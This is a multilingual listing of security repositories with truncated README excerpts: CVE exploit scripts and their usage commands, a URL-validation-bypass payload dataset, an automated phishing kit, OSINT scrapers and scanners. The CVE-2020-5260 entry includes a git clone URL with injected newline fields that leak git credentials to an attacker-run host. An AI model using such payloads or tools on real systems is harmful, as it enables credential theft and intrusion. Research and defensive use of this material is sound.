url-cheatsheet-data

URL検証バイパスチートシートデータ これは PortSwigger URL検証バイパスチートシート を支えるデータです。このデータをGitHubに公開したのは、コミュニティの皆さんにプルリクエストでベクターを追加していただくためです。 コントリビュート コントリビュートするには、JSONデータへの変更を含むプルリクエストを作成してください。 たとえば、domainallowlistbypass.json ファイルに新しいペイロードを追加するには、次のテンプレートを使用します。 "id": "d82a33ae7aa92b0f1f1f5d71a24c0f1197da4e7a",...

porterminal

エージェントにコンピュータを渡し、完全な制御権を与えて、その様子を見守る。 コマンド1つ、URL1つ。自分のスマホ用の洗練されたターミナルにもなる。 1. uvx ptn 2. URLをAIエージェントに渡すか、自分でQRをスキャンする 3. 任意のブラウザで作業を眺め、いつでも引き継ぐ !WARNING その完全なURLは、このコンピュータへの完全なアクセス権そのものです。...

osi.ig

Open Source Information Instagram so recently ig started sending html response insted of json to "unknown" requests. i REALLY wanted this to work without login since i don't use ig anymore, tried few ways i knew to get it working without login but it didn't work :/ anyways since lot of people are...

CVE-2020-24186-exploit

CVE-2020-24186-exploit CVE-2020-24186的攻击脚本 Exp使用方法： Commands: Windows/Linux: python3 CVE-2020-24186.py -u -p Example： python3 CVE-2020-24186.py -u http://127.0.0.1 -p /wordpress/2022/04/04/hello-world...

nmap

Nmap Nmap is released under a custom license, which is based on but not compatible with GPLv2. The Nmap license allows free usage by end users, and we also offer a commercial license for companies that wish to redistribute Nmap technology with their products. See Nmap Copyright and Licensing for...

FBIntelPy

FBIntelPy: Python Facebook Intelligence OSINT 検索ツール FBIntelPy は、フィルタリングされた Facebook URL の生成を支援する Python ベースの Facebook インテリジェンス検索ツールです。これは、次回の TraceLabs Search Party 2026.02 のために作成されました。IntelTechnqiue のウェブベース検索ツールに触発されており、いくつかの廃止されたフィルタを更新しています。 簡単に言うと、このツールは次のフィルタタイプをサポートします: Posts 投稿 、Photos 写真...

privaxy

Privaxy 차세대 트래커 및 광고 차단기 소개 Privaxy는 웹 브라우저와 같은 HTTPs 통신 애플리케이션과 웹사이트를 제공하는 HTTP 서버 사이에 위치하는 MITM HTTPs 프록시입니다. 양방향 터널을 구축하여 Privaxy는 URL 패턴에 기반한 네트워크 요청을 차단하고 HTML 문서에 스크립트와 스타일을 주입할 수 있습니다. 더 낮은 수준에서 작동하기 때문에 Privaxy는 브라우저 애드온 기반 차단기보다 더 효율적이고 간결합니다. 하나의 Privaxy 인스턴스는 작은 가상 머신, 서버 또는 트래픽이 발생하는...

CVE-2026-42897

CVE-2026-42897 - Exchange Health Checker アウトバウンド書き換えルールの盲点 深刻度: Medium CVSS 5.3 コンポーネント: Microsoft CSS-Exchange - HealthChecker 診断ツール 影響を受けるファイル: Diagnostics/HealthChecker/Analyzer/Get-URLRewriteRule.ps1 L49, L72, L97 Diagnostics/HealthChecker/Analyzer/Invoke-AnalyzerIISInformation.ps1 L442–459...

lxancephisher

初心者向けの、30以上のテンプレートを備えた自動フィッシングツールです。 免責事項 本ツール（lxancephisher ）に関連するいかなる行動や活動も、すべて利用者の責任において行われます。このツールキットを誤用すると、関係者に対して刑事告発 が行われる可能性があります。法律に違反する目的でこのツールキットを誤用した個人に対して刑事告発が行われた場合、貢献者は一切の責任を負いません 。 このツールキットには、ソーシャルメディアに対して潜在的に有害または危険な可能性のある素材...

CVE-2022-41080

CVE-2022-41080 描述 CrowdStrike最近发现了一种新的利用方法（称为OWASSRF），包含CVE-2022-41080和CVE-2022-41082，通过Outlook Web Access（OWA）实现远程代码执行（RCE）。这种新方法绕过了微软为响应ProxyNotShell而提供的Autodiscover端点的URL重写缓解措施。 这一发现是近期CrowdStrike Services对多起Play勒索软件入侵事件调查的一部分，确认常见入口向量为Microsoft Exchange。...

CVE-2023-35813

CVE-2023-35813 Exploit para CVE-2023-35813 Ejemplo de uso: go run CVE-2023-35813.go https://example.com o go build CVE-2023-35813.go ./CVE-2023-35813 https://example.com Captura de pantalla:...

dalfox

Dalfox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities. Key features Subcommands...

sage

Sage AI智能体安全 — AI编码助手的代理检测与响应 Sage 是一个轻量级安全层，用于保护 AI 代理免于执行危险操作。它拦截工具调用（shell 命令、URL 获取、文件写入），并在执行前通过多层威胁检测进行检查。 注意： Sage 可能以不同的产品名称出现（例如 Norton Sage、Avast Sage），具体取决于安装方式。详见品牌。 主要特性 URL 信誉 — 基于云端的恶意软件、钓鱼和诈骗 URL 检测 本地启发式规则 — 300+ 个基于 YAML 的威胁模式，用于检测危险命令、可疑 URL、凭证泄露和混淆行为 提示注入检测 —...

fses

fses Fucking Search Engines Scraper - 検索エンジンからURLをスクレイピングするPythonライブラリ スクレイピングする検索エンジン Ask Bing DuckDuck GO UOL Yahoo インストール git clone https://github.com/mthbernardes/fses.git cd fses pip install -r requeriments.txt 使い方 Askを使用した簡単な検索 from searchEngines.ask import ask print "Ask Search" query =...

ReconCat

Recon Cat ========================================= はじめに archive.org からアーカイブ URL スナップショットを取得する小さな PHP アプリケーションです。 これを使用すると、任意の年のスナップショット URL の完全なリスト、または可能なすべての年の完全なリストを取得できます。 ペネトレーションテスト用に特別に作られました。 このアプリケーションはWMB-Scrapper を利用しています インストール このリポジトリをクローンしてください、 git clone...

cve-2020-5260

cve-2020-5260 Heroku にデプロイできる cve-2020-5260 用の HTTP PoC エンドポイント クレジット情報 Google Project Zero の Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 脆弱性を発動する git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' PoC を Heroku にデプロイする...

CVE-2026-85706-gitlab-poc

CVE-2026-85706 説明 GitLab CE/EE の未認証任意ファイル読み取り脆弱性 CVE-2026-85706。 影響を受けるバージョン: GitLab CE/EE 18.7 – 19.1.7 GitLab CE/EE 19.2.0 – 19.2.5 GitLab CE/EE 19.3.0 – 19.3.1 修正済みバージョン: GitLab 19.1.8 GitLab 19.2.6 GitLab 19.3.2 脆弱性の詳細 この脆弱性は GitLab の Workhorse コンポーネントに存在します。Workhorse...

Metabase_CVE-2021-41277

MetabaseCVE-2021-41277 説明 Metabaseはオープンソースのデータ分析プラットフォームです。影響を受けるバージョンでは、カスタムGeoJSONマップ（admin-settings-maps-custom maps-add a...

urlbuster

██╗ ██╗██████╗ ██╗ ██████╗ ██╗ ██╗███████╗████████╗███████╗██████╗ ██║ ██║██╔══██╗██║ ██╔══██╗██║ ██║██╔════╝╚══██╔══╝██╔════╝██╔══██╗ ██║ ██║██████╔╝██║ ██████╔╝██║ ██║███████╗ ██║ █████╗ ██████╔╝ ██║ ██║██╔══██╗██║ ██╔══██╗██║ ██║╚════██║ ██║ ██╔══╝ ██╔══██╗ ╚██████╔╝██║...

CVE-2026-20841

🛡️ CVE-2026-20841 - Windows Notepad セキュリティテストツール ⚠️ CVE-2026-20841 とは何ですか？ CVE-2026-20841 は、Windows Notepad アプリケーションにおける既知のセキュリティ上の弱点です。この脆弱性は、Notepad がクリック可能なリンクを含む書式付きテキストを表示できるマークダウン機能に影響します。この弱点は、Notepad 内で動作するマークダウンエンジンが許可するリンクの種類（URLプロトコルと呼ばれる）を制限しないために発生します。つまり、攻撃者は、クリックされると Notepad...